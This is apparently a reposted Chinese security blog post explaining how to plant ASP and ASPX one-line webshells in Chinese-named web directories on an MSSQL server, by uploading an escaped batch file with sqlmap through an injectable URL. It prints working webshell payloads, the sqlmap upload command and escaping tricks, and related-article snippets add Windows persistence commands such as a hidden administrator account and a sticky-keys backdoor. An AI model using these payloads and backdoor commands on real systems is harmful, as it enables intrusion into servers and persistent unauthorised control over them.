<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    MSSQL利用批處理寫馬至中文路徑

    VSole2021-10-29 16:18:08

    0x01 前言

    上周在先知社區看到@Xgstar師傅寫的《SQLserver寫Webshell總結-突破中文路徑》文章中提到一個利用批處理寫Webshell至中文路徑的思路,但最后他并沒有成功利用這個思路寫入Webshell。

    因為之前也寫過這類場景的利用思路,所以就想對他提到的這個思路以及遇到的問題簡單測試下,關于更多寫Webshell至中文路徑的思路可參考我之前寫的《MSSQL高權限注入寫馬至中文路徑》。

    0x02 通過批處理文件寫馬

    按照他的思路我們先在本地創建一個用于寫一句話木馬的批處理文件,不過得將該文件編碼改為ANSI或GB2312(默認UTF-8),因為xp_cmdshell調用的cmd.exe命令終端的編碼是GBK。

    寫ASP一句話:echo ^<%eval request("xxxasec")%^> >C:\inetpub\wwwroot\中文測試\shell.asp
    寫ASPX一句話:echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["xxxasec"],"unsafe");%^> > C:\inetpub\wwwroot\中文測試\shell.aspx
    

    接著再利用sqlmap --file-write、--file-dest參數或者Windows自帶的certutil等程序將這個寫馬批處理文件落地到目標磁盤中,再用type看下文件中的中文字符是否還會出現亂碼?

    sqlmap -u "http://192.168.56.102/sql.aspx?id=1" --batch --file-write /tmp/shell.bat -file-dest C:\\ProgramData\\shell.bat
    

    上圖中可以看到已經沒有亂碼了,但是在執行這個批處理文件寫馬時又出現了一點問題。

    一句話木馬文件是已經寫進去了,但是已經不成樣了,如下圖,為什么會這樣呢?我們繼續往下看!


    作者說是%與批處理不兼容的問題,其實就是一句話木馬中的%......%被批處理當作行間注釋了,不能出現>重定向符號和|管道符號,這時我們可以用兩個%百分號來解決這個問題。

    寫ASP一句話:echo ^<%%eval request("xxxasec")%%^> >C:\inetpub\wwwroot\中文測試\shell.asp
    寫ASPX一句話:echo ^<%%@ Page Language="Jscript"%%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%%^> > C:\inetpub\wwwroot\中文測試\shell.aspx
    

    將以上進行轉義過的寫一句話木馬的批處理文件再次通過sqlmap --file-write、--file-dest的方式上傳至目標磁盤中并執行。

    這時可以看到已經成功將一句話木馬寫入至中文路徑了。

    0x03 需要注意的幾個地方

    1. 命令行寫Webshell時得在<>尖括號前用^轉義:^<^>
    2. 批處理寫Webshell時得在%百分號前用%轉義:%%1%%2
    3. sqlmap --file-write、--file-dest寫入文件時路徑得用\\雙斜杠;
    批處理一句話木馬
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    上周在先知社區看到@Xgstar師傅寫的《SQLserver寫Webshell總結-突破中文路徑》文章中提到一個利用批處理寫Webshell至中文路徑的思路,但最后他并沒有成功利用這個思路寫入Webshell。 因為之前也寫過這類場景的利用思路,所以就想對他提到的這個思路以及遇到的問題簡單測試下,關于更多寫Webshell至中文路徑的思路可參考我之前寫的《MSSQL高權限注入寫馬至中文路徑》。
    可以通過注冊表或直接用戶管理刪除隱藏的用戶。0x2 Shift 后門將 C:\WINDOWS\system32\dllcache\sethc.exe 刪除,這個文件夾中放著緩存,如果不刪除就會自動變回去。按下 5下 shift 即可彈出管理權限的 DOS 窗口。0x3 放大鏡后門創建 magnify.bat@echo off. 下的 magnify.exe登陸時通過組合鍵 Win+U 調用。DLL劫持利用搜索順序來加載惡意DLL以代替合法DLL。如果應用程序使用Windows的DLL搜索來查找DLL,且攻擊者可以將同名DLL的順序置于比合法DLL更高的位置,則應用程序將加載惡意DLL。劫持系統程序具有兼容性,劫持用戶程序則有針對性。
    后滲透之權限維持的13種方法-Windows
    0x1 匿名用戶 net user administrator$ woaijiushi /add && net localgroup administrators administrator$ /add PS:通過在用戶后面添加$符號的形式將用戶達到隱藏的效果。 可以通過注冊表或直接用戶管理刪除隱藏的用戶。 0x2 Shift 后門 將 C:\WINDOWS\system32\dllcache
    本實驗環境靶場以發出,從外到內,給你服務器干翻!
    MSSQL注入和漏洞利用姿勢總結
    基礎介紹Microsoft SQL Server 是微軟開發的關系型數據庫管理系統。作為數據庫服務器,它是一種軟件產品,主要功能是根據其他軟件應用程序的請求存儲和檢索數據,這些應用程序可以在同一臺計算機上運行,也可以在網絡上的另一臺計算機上運行。SQL Server 默認開放的端口是 TCP 1433。判斷數據庫類型/*?數據庫中獨有的數據表,如果頁面返回正常即可表示為?為便于管理數據庫中的權限,SQL Server 提供了若干角色,這些角色是用于對其他主體進行分組的安全主體。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类